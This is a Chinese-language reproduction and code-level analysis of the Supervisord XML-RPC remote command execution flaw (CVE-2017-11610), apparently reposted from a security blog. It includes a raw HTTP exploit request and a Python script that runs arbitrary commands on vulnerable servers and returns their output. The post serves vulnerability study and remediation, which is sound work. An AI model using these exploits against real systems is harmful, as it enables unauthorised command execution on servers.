Supervisord遠程命令執行漏洞(CVE-2017-11610)復現


Supervisord遠程命令執行漏洞(CVE-2017-11610)復現

文章首發在安全客
https://www.anquanke.com/post/id/225451

寫在前面

因為工作中遇到了這個洞,簡單了解后發現正好是py的源碼,因此想試一下依據前輩的分析做一下簡單的代碼分析,找到漏洞點。網上已經有很多類似的文章,例如P神和綠盟的文章,這里只是自己做一下學習和復現,如有侵權或有問題的地方可以私信或評論。本人會第一時間解決。

Supervisord簡介

Supervisor 是一個用 Python 寫的進程管理工具,可以很方便的用來在 UNIX-like 系統(不支持 Windows)下啟動、重啟(自動重啟程序)、關閉進程(不僅僅是 Python 進程)

Supervisor 是一個 C/S 模型的程序,supervisord 是 server 端,supervisorctl 是 client 端,簡單理解就是client輸入supervisor的指令調用server端的API從而完成一些工作,如進程的管理。

而Supervisor的Web的服務其實很多人會用的比較多,也就是supervisord的客戶端,只要路由通,即可遠程通過Web頁面完成類似於supervisor的client端的操作。而通過Web界面的操作由XML-RPC接口實現,該漏洞也是出在XML-RPC接口對數據的處理上。

本次下載的是3.3.2版本的源碼

鏈接:https://pypi.org/project/supervisor/3.3.2/#files

先簡單看一下它的配置文件,重點看下面這些部分

[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)


[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

; The sample program section below shows all possible program subsection values.
; Create one or more 'real' program: sections to be able to control them under
; supervisor.

server端監聽的是/tmp/supervisor.sock這個套接字,而client端的serverurl也是這個套接字,所以client端都是通過這個套接字並根據XML-RPC協議與server端進行的通信。另外,將 [inrt_http_server]中前面 ; 去掉即可開啟Web服務,默認以TCP協議監聽在9001端口上。(下面不開啟用戶密碼認證,bind 所有網卡)

image-20201211231946974

supervisor的web界面大概長這樣。

image-20201213204117857

利用條件

漏洞影響范圍:
Supervisor version 3.1.2至Supervisor version 3.3.2

開啟Web服務且9001端口可被訪問

版本在漏洞影響范圍內

密碼為弱密碼或空口令

漏洞利用

放上P牛的poc

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

訪問頁面抓包,cv這個poc進去,根據自己的環境稍作修改之后放包即可。

image-20201213204851991

成功寫入文件

image-20201213205035130

wireshark的包

image-20201213205302193

但是上面版本的poc是沒有回顯的。關於回顯poc在vulhub的官方文檔有提到

https://vulhub.org/#/environments/supervisor/CVE-2017-11610/

利用方式如下。

image-20201213210113720

poc.py

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

這個點本文就不再重點探究,下面主要復現學習分析一下這個漏洞在代碼層面上是如何產生的。

漏洞分析

既然知道是XML-RPC出了問題,那么通過程序入口點然后一點點去找處理XML-RPC請求的函數,看看它是如何實現的。

先看supervisord的啟動文件supervisord.py

根據前輩的poc是根據http請求發送的payload,所以跟進一下這里的 self.options.openhttpservers(self)

image-20201213165610631

在options.py中定義了openhttpservers()方法

image-20201213171202592

這里調用了 make_http_servers()方法,跟進一下

在ServerOptions類中定義了make_http_servers()方法,可以看到這個方法是從http.py中調用的,那么跟進看一下這個方法是如何實現的。

image-20201213171923080

http.py中定義了 make_http_servers()方法

image-20201213172437298

根據漏洞信息,已知是XML-RPC調用出現了問題,而 supervisor_xmlrpc_handler類就是處理RPC調用的,跟進看一下是如何實現的

在xmlrpc.py中定義了supervisor_xmlrpc_handler

在此找到了漏洞紕漏的traverse方法,在supervisor_xmlrpc_handler類中定義了 call方法,該方法返回執行完 traverse(self.rpcinterface, method, params)函數的結果,

image-20201213173132577

其中在traverse函數中傳入了method,params ,跟進一下看看這兩個參數是什么。

supervisor_xmlrpc_handler類的 continue_request方法中發現 params, method = self.loads(data) 跟進下 loads方法。

image-20201213174632859

在xmlrpc.py的最下面定義了loads方法,其將xml中的methodName和params的值分別賦值給了method和params,也就是我們上面漏洞利用過程發送POST請求時,POST請求中xml的標簽名為methodName和params這兩個標簽的值。

image-20201213175102407

比如下圖中的method=supervisor.supervisord.options.warnings.linecache.os.systemparams=touch /tmp/success2 ,正常情況下,methodName=supervisor.startProcessparams=要啟動的服務名稱

image-20201213205302193

ok,method和params參數的含義解決了,下面跟進下traverse方法。

image-20201213180007149

1、path = method.split('.'). 作為分隔符對method字符串進行切片,切片的結果以列表形式賦值給path。例如 supervisor.startProcess 的結果為 ['supervisor', 'startProcess']

2、循環path,如果name的值不以 _ 開頭,執行 ob = getattr(ob, name, None) , 如果name的值是方法名稱,會將該方法賦值給ob。這里的for循環就像一個遞歸,ob會獲取method列表中最后一個方法名稱並在try語句里執行,比如method=supervisor.supervisord.options.warnings.linecache.os.system() 那么最后ob會獲取system()並將參數params(要執行的命令)帶入該方法執行並獲取返回結果。

那么問題就出現在這里,在P牛的文章中也指出了:"官方開發者可能認為可調用的方法只限制在這個對象內部,所以沒有做特別嚴格的白名單限制。" ,導致這里通過 self.rpcinterface 對任意的公共方法或遞歸子對象的公共方法的調用。

比如漏洞的發現者提出的調用鏈 self.rpcinterface.supervisor.supervisord.options.execve,因為這個poc使用時存在一些缺陷,P牛提出了一個其他的利用鏈(日常膜P牛): supervisor.supervisord.options.warnings.linecache.os.system()這邊跟一下看看:

首先在Options類中調用了warnings方法,跟進一下。

image-20201213214509941

emm 這里發現本來在上面直接import linecache 改到了 try里面,當時存在漏洞的代碼是直接在上面import linecache的

image-20201213214706388

image-20201213214846346

跟進linecache,在linecache.py調用os

image-20201213215201846

這個漏洞與java反序列化類似,只要一直尋找有import os模塊的地方調用system函數即可達到執行命令的目的。

修復建議

1、升級supervisor版本

2、設置端口訪問控制

3、設置復雜密碼認證

參考文章

補上當時忘記貼的參考文章

https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html

http://blog.nsfocus.net/supervisord-cve-2017-11610/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM